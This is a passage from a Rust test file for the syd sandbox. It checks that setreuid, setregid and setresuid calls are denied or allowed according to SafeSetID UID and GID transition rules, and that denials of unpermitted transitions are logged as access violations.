        0 => {
            eprintln!("No data read from pipe; expected access violation.");
            return Err(TestError(
                "Expected access violation not logged.".to_string(),
            ));
        }
        _ => {
            // If any data was read, log it.
            eprint!("Access violation logged:\n{data}");
        }
    }

    Ok(())
}

fn test_syd_0_setreuid_nobody_safesetid_deny_3() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("setuid");

    // SAFETY: Set the comment to test setreuid_root_safesetid_deny.
    let (fd_rd, fd_rw) = match pipe() {
        Ok((fd_rd, fd_rw)) => (fd_rd, fd_rw),
        Err(errno) => return Err(TestError(format!("error creating pipe: {errno}!"))),
    };

    // SafeSetID is enabled, but no matching UID transition defined.
    // The syscall must fail with EPERM _and_ generate an access violation.
    let status = syd()
        .log("warn")
        .log_fd(fd_rw.as_raw_fd())
        .p("off")
        .m("setuid+${SYD_UID}:65533")
        .do_("setreuid", ["65534", "65534"])
        .status()
        .expect("execute syd");
    drop(fd_rw);
    assert_status_access_denied!(status);

    // Convert raw file descriptor to File, then to BufReader
    let file = File::from(fd_rd);
    let reader = BufReader::new(file);

    let data = reader
        .lines()
        .map(|l| l.expect("read from pipe"))
        .filter(|l| l.contains("\"safesetid\""))
        .collect::<Vec<_>>()
        .join("\n");
    match data.len() {
        0 => {
            eprintln!("No data read from pipe; expected access violation.");
            return Err(TestError(
                "Expected access violation not logged.".to_string(),
            ));
        }
        _ => {
            // If any data was read, log it.
            eprint!("Access violation logged:\n{data}");
        }
    }

    Ok(())
}

fn test_syd_0_setreuid_root_safesetid_deny_1() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("setuid");

    // SafeSetID is enabled, but no matching UID transition defined.
    // The syscall must denied with EACCES for UID<=UID_MIN.
    // Note we use UID=1 rather than UID=0 because this test is
    // typically run as root so if we run as UID=0 we cannot
    // detect the non-UID-change despite setreuid success.

    // SAFETY: Compared to the test setreuid_nobody_safesetid_deny, this
    // test _must not_ generate a syd access violation, because UID
    // change to root must be blocked by the kernel-level parent seccomp
    // filter. This is crucial security-wise so we test it here by
    // overriding SYD_LOG and setting SYD_LOG_FD.
    let (fd_rd, fd_rw) = match pipe() {
        Ok((fd_rd, fd_rw)) => (fd_rd, fd_rw),
        Err(errno) => return Err(TestError(format!("error creating pipe: {errno}!"))),
    };

    let status = syd()
        .log("warn")
        .log_fd(fd_rw.as_raw_fd())
        .p("off")
        .m("setuid+${SYD_UID}:65533")
        .do_("setreuid", ["-1", "1"])
        .status()
        .expect("execute syd");
    drop(fd_rw);
    assert_status_access_denied!(status);

    // Convert raw file descriptor to File, then to BufReader
    let file = File::from(fd_rd);
    let reader = BufReader::new(file);

    let data = reader
        .lines()
        .map(|l| l.expect("read from pipe"))
        .filter(|l| l.contains("\"safesetid\""))
        .collect::<Vec<_>>()
        .join("\n");
    match data.len() {
        0 => {
            eprintln!("No data read from pipe; no access violation raised as expected.");
        }
        _ => {
            // If any data was read, log it.
            eprint!("Access violation logged:\n{data}");
            return Err(TestError("Unexpected access violation logged.".to_string()));
        }
    }

    Ok(())
}

fn test_syd_0_setreuid_root_safesetid_deny_2() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("setuid");

    // SafeSetID is enabled, but no matching UID transition defined.
    // The syscall must be denied with EACCES for UID<=UID_MIN.
    // Note we use UID=1 rather than UID=0 because this test is
    // typically run as root so if we run as UID=0 we cannot
    // detect the non-UID-change despite setreuid success.

    // SAFETY: Compared to the test setreuid_nobody_safesetid_deny, this
    // test _must not_ generate a syd access violation, because UID
    // change to root must be blocked by the kernel-level parent seccomp
    // filter. This is crucial security-wise so we test it here by
    // overriding SYD_LOG and setting SYD_LOG_FD.
    let (fd_rd, fd_rw) = match pipe() {
        Ok((fd_rd, fd_rw)) => (fd_rd, fd_rw),
        Err(errno) => return Err(TestError(format!("error creating pipe: {errno}!"))),
    };

    let status = syd()
        .log("warn")
        .log_fd(fd_rw.as_raw_fd())
        .p("off")
        .m("setuid+${SYD_UID}:65533")
        .do_("setreuid", ["1", "-1"])
        .status()
        .expect("execute syd");
    drop(fd_rw);
    assert_status_access_denied!(status);

    // Convert raw file descriptor to File, then to BufReader
    let file = File::from(fd_rd);
    let reader = BufReader::new(file);

    let data = reader
        .lines()
        .map(|l| l.expect("read from pipe"))
        .filter(|l| l.contains("\"safesetid\""))
        .collect::<Vec<_>>()
        .join("\n");
    match data.len() {
        0 => {
            eprintln!("No data read from pipe; no access violation raised as expected.");
        }
        _ => {
            // If any data was read, log it.
            eprint!("Access violation logged:\n{data}");
            return Err(TestError("Unexpected access violation logged.".to_string()));
        }
    }

    Ok(())
}

fn test_syd_0_setreuid_root_safesetid_deny_3() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("setuid");

    // SafeSetID is enabled, but no matching UID transition defined.
    // The syscall must denied with EACCES for UID<=UID_MIN.
    // Note we use UID=1 rather than UID=0 because this test is
    // typically run as root so if we run as UID=0 we cannot
    // detect the non-UID-change despite setreuid success.

    // SAFETY: Compared to the test setreuid_nobody_safesetid_deny, this
    // test _must not_ generate a syd access violation, because UID
    // change to root must be blocked by the kernel-level parent seccomp
    // filter. This is crucial security-wise so we test it here by
    // overriding SYD_LOG and setting SYD_LOG_FD.
    let (fd_rd, fd_rw) = match pipe() {
        Ok((fd_rd, fd_rw)) => (fd_rd, fd_rw),
        Err(errno) => return Err(TestError(format!("error creating pipe: {errno}!"))),
    };

    let status = syd()
        .log("warn")
        .log_fd(fd_rw.as_raw_fd())
        .p("off")
        .m("setuid+${SYD_UID}:65533")
        .do_("setreuid", ["1", "1"])
        .status()
        .expect("execute syd");
    drop(fd_rw);
    assert_status_access_denied!(status);

    // Convert raw file descriptor to File, then to BufReader
    let file = File::from(fd_rd);
    let reader = BufReader::new(file);

    let data = reader
        .lines()
        .map(|l| l.expect("read from pipe"))
        .filter(|l| l.contains("\"safesetid\""))
        .collect::<Vec<_>>()
        .join("\n");
    match data.len() {
        0 => {
            eprintln!("No data read from pipe; no access violation raised as expected.");
        }
        _ => {
            // If any data was read, log it.
            eprint!("Access violation logged:\n{data}");
            return Err(TestError("Unexpected access violation logged.".to_string()));
        }
    }

    Ok(())
}

fn test_syd_0_setreuid_nobody_safesetid_allow_1() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("setuid");

    // SafeSetID is enabled with UID transition defined.
    // The syscall must succeed.
    let status = syd()
        .p("off")
        .m("setuid+${SYD_UID}:nobody")
        .do_("setreuid", ["-1", "65534"])
        .status()
        .expect("execute syd");
    // EINVAL: uid/gid not mapped in user-ns.
    assert_status_code_matches!(status, 0 | EINVAL);

    Ok(())
}

fn test_syd_0_setreuid_nobody_safesetid_allow_2() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("setuid");

    // SafeSetID is enabled with UID transition defined.
    // The syscall must succeed.
    let status = syd()
        .p("off")
        .m("setuid+${SYD_UID}:nobody")
        .do_("setreuid", ["65534", "-1"])
        .status()
        .expect("execute syd");
    // EINVAL: uid/gid not mapped in user-ns.
    assert_status_code_matches!(status, 0 | EINVAL);

    Ok(())
}

fn test_syd_0_setreuid_nobody_safesetid_allow_3() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("setuid");

    // SafeSetID is enabled with UID transition defined.
    // The syscall must succeed.
    let status = syd()
        .p("off")
        .m("setuid+${SYD_UID}:nobody")
        .do_("setreuid", ["65534", "65534"])
        .status()
        .expect("execute syd");
    // EINVAL: uid/gid not mapped in user-ns.
    assert_status_code_matches!(status, 0 | EINVAL);

    Ok(())
}

fn test_syd_0_setregid_nobody_default_1() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("setgid");

    // Default filter denies privileged {U,G}IDs.
    // Test must return EPERM.
    let status = syd()
        .p("off")
        .do_("setregid", ["-1", "65534"])
        .status()
        .expect("execute syd");
    assert_status_permission_denied!(status);

    Ok(())
}

fn test_syd_0_setregid_nobody_default_2() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("setgid");

    // Default filter denies privileged {U,G}IDs.
    // Test must return EPERM.
    let status = syd()
        .p("off")
        .do_("setregid", ["65534", "-1"])
        .status()
        .expect("execute syd");
    assert_status_permission_denied!(status);

    Ok(())
}

fn test_syd_0_setregid_nobody_default_3() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("setgid");

    // Default filter denies privileged {U,G}IDs.
    // Test must return EPERM.
    let status = syd()
        .p("off")
        .do_("setregid", ["65534", "65534"])
        .status()
        .expect("execute syd");
    assert_status_permission_denied!(status);

    Ok(())
}

fn test_syd_0_setregid_nobody_safesetid_deny_1() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("setgid");

    // SAFETY: Set the comment to test setregid_root_safesetid_deny.
    let (fd_rd, fd_rw) = match pipe() {
        Ok((fd_rd, fd_rw)) => (fd_rd, fd_rw),
        Err(errno) => return Err(TestError(format!("error creating pipe: {errno}!"))),
    };

    // SafeSetID is enabled, but no matching GID transition defined.
    // The syscall must fail with EPERM _and_ generate an access violation.
    let status = syd()
        .log("warn")
        .log_fd(fd_rw.as_raw_fd())
        .p("off")
        .m("setgid+${SYD_GID}:65533")
        .do_("setregid", ["-1", "65534"])
        .status()
        .expect("execute syd");
    drop(fd_rw);
    assert_status_access_denied!(status);

    // Convert raw file descriptor to File, then to BufReader
    let file = File::from(fd_rd);
    let reader = BufReader::new(file);

    let data = reader
        .lines()
        .map(|l| l.expect("read from pipe"))
        .filter(|l| l.contains("\"safesetid\""))
        .collect::<Vec<_>>()
        .join("\n");
    match data.len() {
        0 => {
            eprintln!("No data read from pipe; expected access violation.");
            return Err(TestError(
                "Expected access violation not logged.".to_string(),
            ));
        }
        _ => {
            // If any data was read, log it.
            eprint!("Access violation logged:\n{data}");
        }
    }

    Ok(())
}

fn test_syd_0_setregid_nobody_safesetid_deny_2() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("setgid");

    // SAFETY: Set the comment to test setregid_root_safesetid_deny.
    let (fd_rd, fd_rw) = match pipe() {
        Ok((fd_rd, fd_rw)) => (fd_rd, fd_rw),
        Err(errno) => return Err(TestError(format!("error creating pipe: {errno}!"))),
    };

    // SafeSetID is enabled, but no matching GID transition defined.
    // The syscall must fail with EPERM _and_ generate an access violation.
    let status = syd()
        .log("warn")
        .log_fd(fd_rw.as_raw_fd())
        .p("off")
        .m("setgid+${SYD_GID}:65533")
        .do_("setregid", ["65534", "-1"])
        .status()
        .expect("execute syd");
    drop(fd_rw);
    assert_status_access_denied!(status);

    // Convert raw file descriptor to File, then to BufReader
    let file = File::from(fd_rd);
    let reader = BufReader::new(file);

    let data = reader
        .lines()
        .map(|l| l.expect("read from pipe"))
        .filter(|l| l.contains("\"safesetid\""))
        .collect::<Vec<_>>()
        .join("\n");
    match data.len() {
        0 => {
            eprintln!("No data read from pipe; expected access violation.");
            return Err(TestError(
                "Expected access violation not logged.".to_string(),
            ));
        }
        _ => {
            // If any data was read, log it.
            eprint!("Access violation logged:\n{data}");
        }
    }

    Ok(())
}

fn test_syd_0_setregid_nobody_safesetid_deny_3() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("setgid");

    // SAFETY: Set the comment to test setregid_root_safesetid_deny.
    let (fd_rd, fd_rw) = match pipe() {
        Ok((fd_rd, fd_rw)) => (fd_rd, fd_rw),
        Err(errno) => return Err(TestError(format!("error creating pipe: {errno}!"))),
    };

    // SafeSetID is enabled, but no matching GID transition defined.
    // The syscall must fail with EPERM _and_ generate an access violation.
    let status = syd()
        .log("warn")
        .log_fd(fd_rw.as_raw_fd())
        .p("off")
        .m("setgid+${SYD_GID}:65533")
        .do_("setregid", ["65534", "65534"])
        .status()
        .expect("execute syd");
    drop(fd_rw);
    assert_status_access_denied!(status);

    // Convert raw file descriptor to File, then to BufReader
    let file = File::from(fd_rd);
    let reader = BufReader::new(file);

    let data = reader
        .lines()
        .map(|l| l.expect("read from pipe"))
        .filter(|l| l.contains("\"safesetid\""))
        .collect::<Vec<_>>()
        .join("\n");
    match data.len() {
        0 => {
            eprintln!("No data read from pipe; expected access violation.");
            return Err(TestError(
                "Expected access violation not logged.".to_string(),
            ));
        }
        _ => {
            // If any data was read, log it.
            eprint!("Access violation logged:\n{data}");
        }
    }

    Ok(())
}

fn test_syd_0_setregid_root_safesetid_deny_1() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("setgid");

    // SafeSetID is enabled, but no matching GID transition defined.
    // The syscall must be denied with EACCES for GID<=GID_MIN.
    // Note we use GID=1 rather than GID=0 because this test is
    // typically run as root so if we run as GID=0 we cannot
    // detect the non-GID-change despite setregid success.

    // SAFETY: Compared to the test setregid_nobody_safesetid_deny, this
    // test _must not_ generate a syd access violation, because GID
    // change to root must be blocked by the kernel-level parent seccomp
    // filter. This is crucial security-wise so we test it here by
    // overriding SYD_LOG and setting SYD_LOG_FD.
    let (fd_rd, fd_rw) = match pipe() {
        Ok((fd_rd, fd_rw)) => (fd_rd, fd_rw),
        Err(errno) => return Err(TestError(format!("error creating pipe: {errno}!"))),
    };

    let status = syd()
        .log("warn")
        .log_fd(fd_rw.as_raw_fd())
        .p("off")
        .m("setgid+${SYD_GID}:65533")
        .do_("setregid", ["-1", "1"])
        .status()
        .expect("execute syd");
    drop(fd_rw);
    assert_status_access_denied!(status);

    // Convert raw file descriptor to File, then to BufReader
    let file = File::from(fd_rd);
    let reader = BufReader::new(file);

    let data = reader
        .lines()
        .map(|l| l.expect("read from pipe"))
        .filter(|l| l.contains("\"safesetid\""))
        .collect::<Vec<_>>()
        .join("\n");
    match data.len() {
        0 => {
            eprintln!("No data read from pipe; no access violation raised as expected.");
        }
        _ => {
            // If any data was read, log it.
            eprint!("Access violation logged:\n{data}");
            return Err(TestError("Unexpected access violation logged.".to_string()));
        }
    }

    Ok(())
}

fn test_syd_0_setregid_root_safesetid_deny_2() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("setgid");

    // SafeSetID is enabled, but no matching GID transition defined.
    // The syscall must be denied with EACCES for GID<=GID_MIN.
    // Note we use GID=1 rather than GID=0 because this test is
    // typically run as root so if we run as GID=0 we cannot
    // detect the non-GID-change despite setregid success.

    // SAFETY: Compared to the test setregid_nobody_safesetid_deny, this
    // test _must not_ generate a syd access violation, because GID
    // change to root must be blocked by the kernel-level parent seccomp
    // filter. This is crucial security-wise so we test it here by
    // overriding SYD_LOG and setting SYD_LOG_FD.
    let (fd_rd, fd_rw) = match pipe() {
        Ok((fd_rd, fd_rw)) => (fd_rd, fd_rw),
        Err(errno) => return Err(TestError(format!("error creating pipe: {errno}!"))),
    };

    let status = syd()
        .log("warn")
        .log_fd(fd_rw.as_raw_fd())
        .p("off")
        .m("setgid+${SYD_GID}:65533")
        .do_("setregid", ["1", "-1"])
        .status()
        .expect("execute syd");
    drop(fd_rw);
    assert_status_access_denied!(status);

    // Convert raw file descriptor to File, then to BufReader
    let file = File::from(fd_rd);
    let reader = BufReader::new(file);

    let data = reader
        .lines()
        .map(|l| l.expect("read from pipe"))
        .filter(|l| l.contains("\"safesetid\""))
        .collect::<Vec<_>>()
        .join("\n");
    match data.len() {
        0 => {
            eprintln!("No data read from pipe; no access violation raised as expected.");
        }
        _ => {
            // If any data was read, log it.
            eprint!("Access violation logged:\n{data}");
            return Err(TestError("Unexpected access violation logged.".to_string()));
        }
    }

    Ok(())
}

fn test_syd_0_setregid_root_safesetid_deny_3() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("setgid");

    // SafeSetID is enabled, but no matching GID transition defined.
    // The syscall must be denied with EACCES for GID<=GID_MIN.
    // Note we use GID=1 rather than GID=0 because this test is
    // typically run as root so if we run as GID=0 we cannot
    // detect the non-GID-change despite setregid success.

    // SAFETY: Compared to the test setregid_nobody_safesetid_deny, this
    // test _must not_ generate a syd access violation, because GID
    // change to root must be blocked by the kernel-level parent seccomp
    // filter. This is crucial security-wise so we test it here by
    // overriding SYD_LOG and setting SYD_LOG_FD.
    let (fd_rd, fd_rw) = match pipe() {
        Ok((fd_rd, fd_rw)) => (fd_rd, fd_rw),
        Err(errno) => return Err(TestError(format!("error creating pipe: {errno}!"))),
    };

    let status = syd()
        .log("warn")
        .log_fd(fd_rw.as_raw_fd())
        .p("off")
        .m("setgid+${SYD_GID}:65533")
        .do_("setregid", ["1", "1"])
        .status()
        .expect("execute syd");
    drop(fd_rw);
    assert_status_access_denied!(status);

    // Convert raw file descriptor to File, then to BufReader
    let file = File::from(fd_rd);
    let reader = BufReader::new(file);

    let data = reader
        .lines()
        .map(|l| l.expect("read from pipe"))
        .filter(|l| l.contains("\"safesetid\""))
        .collect::<Vec<_>>()
        .join("\n");
    match data.len() {
        0 => {
            eprintln!("No data read from pipe; no access violation raised as expected.");
        }
        _ => {
            // If any data was read, log it.
            eprint!("Access violation logged:\n{data}");
            return Err(TestError("Unexpected access violation logged.".to_string()));
        }
    }

    Ok(())
}

fn test_syd_0_setregid_nobody_safesetid_allow_1() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("setgid");

    // SafeSetID is enabled with GID transition defined.
    // The syscall must succeed.
    let status = syd()
        .p("off")
        .m("setgid+${SYD_GID}:65534")
        .do_("setregid", ["-1", "65534"])
        .status()
        .expect("execute syd");
    // EINVAL: uid/gid not mapped in user-ns.
    assert_status_code_matches!(status, 0 | EINVAL);

    Ok(())
}

fn test_syd_0_setregid_nobody_safesetid_allow_2() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("setgid");

    // SafeSetID is enabled with GID transition defined.
    // The syscall must succeed.
    let status = syd()
        .p("off")
        .m("setgid+${SYD_GID}:65534")
        .do_("setregid", ["65534", "-1"])
        .status()
        .expect("execute syd");
    // EINVAL: uid/gid not mapped in user-ns.
    assert_status_code_matches!(status, 0 | EINVAL);

    Ok(())
}

fn test_syd_0_setregid_nobody_safesetid_allow_3() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("setgid");

    // SafeSetID is enabled with GID transition defined.
    // The syscall must succeed.
    let status = syd()
        .p("off")
        .m("setgid+${SYD_GID}:65534")
        .do_("setregid", ["65534", "65534"])
        .status()
        .expect("execute syd");
    // EINVAL: uid/gid not mapped in user-ns.
    assert_status_code_matches!(status, 0 | EINVAL);

    Ok(())
}

fn test_syd_0_setresuid_nobody_default_1() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("setuid");

    // Default filter denies privileged {U,G}IDs.
    // Test must return EPERM.
    let status = syd()
        .p("off")
        .do_("setresuid", ["-1", "-1", "65534"])
        .status()
        .expect("execute syd");
    assert_status_permission_denied!(status);

    Ok(())
}

fn test_syd_0_setresuid_nobody_default_2() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("setuid");

    // Default filter denies privileged {U,G}IDs.
    // Test must return EPERM.
    let status = syd()
        .p("off")
        .do_("setresuid", ["-1", "65534", "-1"])
        .status()
        .expect("execute syd");
    assert_status_permission_denied!(status);

    Ok(())
}

fn test_syd_0_setresuid_nobody_default_3() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("setuid");

    // Default filter denies privileged {U,G}IDs.
    // Test must return EPERM.
    let status = syd()
        .p("off")
        .do_("setresuid", ["65534", "-1", "-1"])
        .status()
        .expect("execute syd");
    assert_status_permission_denied!(status);

    Ok(())
}

fn test_syd_0_setresuid_nobody_default_4() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("setuid");

    // Default filter denies privileged {U,G}IDs.
    // Test must return EPERM.
    let status = syd()
        .p("off")
        .do_("setresuid", ["-1", "65534", "65534"])
        .status()
        .expect("execute syd");
    assert_status_permission_denied!(status);

    Ok(())
}

fn test_syd_0_setresuid_nobody_default_5() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("setuid");

    // Default filter denies privileged {U,G}IDs.
    // Test must return EPERM.
    let status = syd()
        .p("off")
        .do_("setresuid", ["65534", "65534", "-1"])
        .status()
        .expect("execute syd");
    assert_status_permission_denied!(status);

    Ok(())
}

fn test_syd_0_setresuid_nobody_default_6() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("setuid");

    // Default filter denies privileged {U,G}IDs.
    // Test must return EPERM.
    let status = syd()
        .p("off")
        .do_("setresuid", ["65534", "-1", "65534"])
        .status()
        .expect("execute syd");
    assert_status_permission_denied!(status);

    Ok(())
}

fn test_syd_0_setresuid_nobody_default_7() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("setuid");

    // Default filter denies privileged {U,G}IDs.
    // Test must return EPERM.
    let status = syd()
        .p("off")
        .do_("setresuid", ["65534", "65534", "65534"])
        .status()
        .expect("execute syd");
    assert_status_permission_denied!(status);

    Ok(())
}

fn test_syd_0_setresuid_nobody_safesetid_deny_1() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("setuid");

    // SAFETY: Set the comment to test setresuid_root_safesetid_deny.
    let (fd_rd, fd_rw) = match pipe() {
        Ok((fd_rd, fd_rw)) => (fd_rd, fd_rw),
        Err(errno) => return Err(TestError(format!("error creating pipe: {errno}!"))),
    };

    // SafeSetID is enabled, but no matching UID transition defined.
    // The syscall must fail with EPERM _and_ generate an access violation.
    let status = syd()
        .log("warn")
        .log_fd(fd_rw.as_raw_fd())
        .p("off")
        .m("setuid+${SYD_UID}:65533")
        .do_("setresuid", ["-1", "-1", "65534"])
        .status()
        .expect("execute syd");
    drop(fd_rw);
    assert_status_access_denied!(status);

    // Convert raw file descriptor to File, then to BufReader
    let file = File::from(fd_rd);
    let reader = BufReader::new(file);

    let data = reader
        .lines()
        .map(|l| l.expect("read from pipe"))
        .filter(|l| l.contains("\"safesetid\""))
        .collect::<Vec<_>>()
        .join("\n");
    match data.len() {
        0 => {
            eprintln!("No data read from pipe; expected access violation.");
            return Err(TestError(
                "Expected access violation not logged.".to_string(),
            ));
        }
        _ => {
            // If any data was read, log it.
            eprint!("Access violation logged:\n{data}");
        }
    }

    Ok(())
}

fn test_syd_0_setresuid_nobody_safesetid_deny_2() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("setuid");

    // SAFETY: Set the comment to test setresuid_root_safesetid_deny.
    let (fd_rd, fd_rw) = match pipe() {
        Ok((fd_rd, fd_rw)) => (fd_rd, fd_rw),
        Err(errno) => return Err(TestError(format!("error creating pipe: {errno}!"))),
    };

    // SafeSetID is enabled, but no matching UID transition defined.
    // The syscall must fail with EPERM _and_ generate an access violation.
    let status = syd()
        .log("warn")
        .log_fd(fd_rw.as_raw_fd())
        .p("off")
        .m("setuid+${SYD_UID}:65533")
        .do_("setresuid", ["-1", "65534", "-1"])
        .status()
        .expect("execute syd");
    drop(fd_rw);
    assert_status_access_denied!(status);

    // Convert raw file descriptor to File, then to BufReader
    let file = File::from(fd_rd);
    let reader = BufReader::new(file);

    let data = reader
        .lines()
        .map(|l| l.expect("read from pipe"))
        .filter(|l| l.contains("\"safesetid\""))
        .collect::<Vec<_>>()
        .join("\n");
    match data.len() {
        0 => {
            eprintln!("No data read from pipe; expected access violation.");
            return Err(TestError(
                "Expected access violation not logged.".to_string(),
            ));
        }
        _ => {
            // If any data was read, log it.
            eprint!("Access violation logged:\n{data}");
        }
    }

    Ok(())
}

fn test_syd_0_setresuid_nobody_safesetid_deny_3() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("setuid");

    // SAFETY: Set the comment to test setresuid_root_safesetid_deny.
    let (fd_rd, fd_rw) = match pipe() {
        Ok((fd_rd, fd_rw)) => (fd_rd, fd_rw),
        Err(errno) => return Err(TestError(format!("error creating pipe: {errno}!"))),
    };

    // SafeSetID is enabled, but no matching UID transition defined.
    // The syscall must fail with EPERM _and_ generate an access violation.
    let status = syd()
        .log("warn")
        .log_fd(fd_rw.as_raw_fd())
        .p("off")
        .m("setuid+${SYD_UID}:65533")
        .do_("setresuid", ["65534", "-1", "-1"])
        .status()
        .expect("execute syd");
    drop(fd_rw);
    assert_status_access_denied!(status);

    // Convert raw file descriptor to File, then to BufReader
    let file = File::from(fd_rd);
    let reader = BufReader::new(file);

    let data = reader
        .lines()
        .map(|l| l.expect("read from pipe"))
        .filter(|l| l.contains("\"safesetid\""))
        .collect::<Vec<_>>()
        .join("\n");
    match data.len() {
        0 => {
            eprintln!("No data read from pipe; expected access violation.");
            return Err(TestError(
                "Expected access violation not logged.".to_string(),
            ));
        }
        _ => {
            // If any data was read, log it.
            eprint!("Access violation logged:\n{data}");
        }
    }

    Ok(())
}

fn test_syd_0_setresuid_nobody_safesetid_deny_4() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("setuid");

    // SAFETY: Set the comment to test setresuid_root_safesetid_deny.
    let (fd_rd, fd_rw) = match pipe() {
        Ok((fd_rd, fd_rw)) => (fd_rd, fd_rw),
        Err(errno) => return Err(TestError(format!("error creating pipe: {errno}!"))),
    };

    // SafeSetID is enabled, but no matching UID transition defined.
    // The syscall must fail with EPERM _and_ generate an access violation.
    let status = syd()
        .log("warn")
        .log_fd(fd_rw.as_raw_fd())
        .p("off")
        .m("setuid+${SYD_UID}:65533")
        .do_("setresuid", ["-1", "65534", "65534"])
        .status()
        .expect("execute syd");
    drop(fd_rw);
    assert_status_access_denied!(status);

    // Convert raw file descriptor to File, then to BufReader
    let file = File::from(fd_rd);
    let reader = BufReader::new(file);

    let data = reader
        .lines()
        .map(|l| l.expect("read from pipe"))
        .filter(|l| l.contains("\"safesetid\""))
        .collect::<Vec<_>>()
        .join("\n");
    match data.len() {
        0 => {
            eprintln!("No data read from pipe; expected access violation.");
            return Err(TestError(
                "Expected access violation not logged.".to_string(),
            ));
        }
        _ => {
            // If any data was read, log it.
            eprint!("Access violation logged:\n{data}");
        }
    }

    Ok(())
}

fn test_syd_0_setresuid_nobody_safesetid_deny_5() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("setuid");

    // SAFETY: Set the comment to test setresuid_root_safesetid_deny.
    let (fd_rd, fd_rw) = match pipe() {
        Ok((fd_rd, fd_rw)) => (fd_rd, fd_rw),
        Err(errno) => return Err(TestError(format!("error creating pipe: {errno}!"))),
    };

    // SafeSetID is enabled, but no matching UID transition defined.
    // The syscall must fail with EPERM _and_ generate an access violation.
    let status = syd()
        .log("warn")
        .log_fd(fd_rw.as_raw_fd())
        .p("off")
        .m("setuid+${SYD_UID}:65533")
        .do_("setresuid", ["65534", "65534", "-1"])
        .status()
        .expect("execute syd");
    drop(fd_rw);
    assert_status_access_denied!(status);

    // Convert raw file descriptor to File, then to BufReader
    let file = File::from(fd_rd);
    let reader = BufReader::new(file);

    let data = reader
        .lines()
        .map(|l| l.expect("read from pipe"))
        .filter(|l| l.contains("\"safesetid\""))
        .collect::<Vec<_>>()
        .join("\n");
    match data.len() {
        0 => {
            eprintln!("No data read from pipe; expected access violation.");
            return Err(TestError(
                "Expected access violation not logged.".to_string(),
            ));
        }
        _ => {
            // If any data was read, log it.
            eprint!("Access violation logged:\n{data}");
        }
    }

    Ok(())
}

fn test_syd_0_setresuid_nobody_safesetid_deny_6() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("setuid");

    // SAFETY: Set the comment to test setresuid_root_safesetid_deny.
    let (fd_rd, fd_rw) = match pipe() {
        Ok((fd_rd, fd_rw)) => (fd_rd, fd_rw),
        Err(errno) => return Err(TestError(format!("error creating pipe: {errno}!"))),
    };

    // SafeSetID is enabled, but no matching UID transition defined.
    // The syscall must fail with EPERM _and_ generate an access violation.
    let status = syd()
        .log("warn")
        .log_fd(fd_rw.as_raw_fd())
        .p("off")
        .m("setuid+${SYD_UID}:65533")
        .do_("setresuid", ["65534", "-1", "65534"])
        .status()
        .expect("execute syd");
    drop(fd_rw);
    assert_status_access_denied!(status);

    // Convert raw file descriptor to File, then to BufReader
    let file = File::from(fd_rd);
    let reader = BufReader::new(file);

    let data = reader
        .lines()
        .map(|l| l.expect("read from pipe"))
        .filter(|l| l.contains("\"safesetid\""))
        .collect::<Vec<_>>()
        .join("\n");
    match data.len() {
        0 => {
            eprintln!("No data read from pipe; expected access violation.");
            return Err(TestError(
                "Expected access violation not logged.".to_string(),
            ));
        }
        _ => {
            // If any data was read, log it.
            eprint!("Access violation logged:\n{data}");
        }
    }

    Ok(())
}

fn test_syd_0_setresuid_nobody_safesetid_deny_7() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("setuid");

    // SAFETY: Set the comment to test setresuid_root_safesetid_deny.
    let (fd_rd, fd_rw) = match pipe() {
        Ok((fd_rd, fd_rw)) => (fd_rd, fd_rw),
        Err(errno) => return Err(TestError(format!("error creating pipe: {errno}!"))),
    };

    // SafeSetID is enabled, but no matching UID transition defined.
    // The syscall must fail with EPERM _and_ generate an access violation.
    let status = syd()
        .log("warn")
        .log_fd(fd_rw.as_raw_fd())
        .p("off")
        .m("setuid+${SYD_UID}:65533")
        .do_("setresuid", ["65534", "65534", "65534"])
        .status()
        .expect("execute syd");
    drop(fd_rw);
    assert_status_access_denied!(status);

    // Convert raw file descriptor to File, then to BufReader
    let file = File::from(fd_rd);
    let reader = BufReader::new(file);

    let data = reader
        .lines()
        .map(|l| l.expect("read from pipe"))
        .filter(|l| l.contains("\"safesetid\""))
        .collect::<Vec<_>>()
        .join("\n");
    match data.len() {
        0 => {
            eprintln!("No data read from pipe; expected access violation.");
            return Err(TestError(
                "Expected access violation not logged.".to_string(),
            ));
        }
        _ => {
            // If any data was read, log it.
            eprint!("Access violation logged:\n{data}");
        }
    }

    Ok(())
}

fn test_syd_0_setresuid_root_safesetid_deny_1() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("setuid");

    // SafeSetID is enabled, but no matching UID transition defined.
    // The syscall must be denied with EACCES for UID<=UID_MIN.
    // Note we use UID=1 rather than UID=0 because this test is
    // typically run as root so if we run as UID=0 we cannot
    // detect the non-UID-change despite setresuid success.

    // SAFETY: Compared to the test setresuid_nobody_safesetid_deny, this
    // test _must not_ generate a syd access violation, because UID
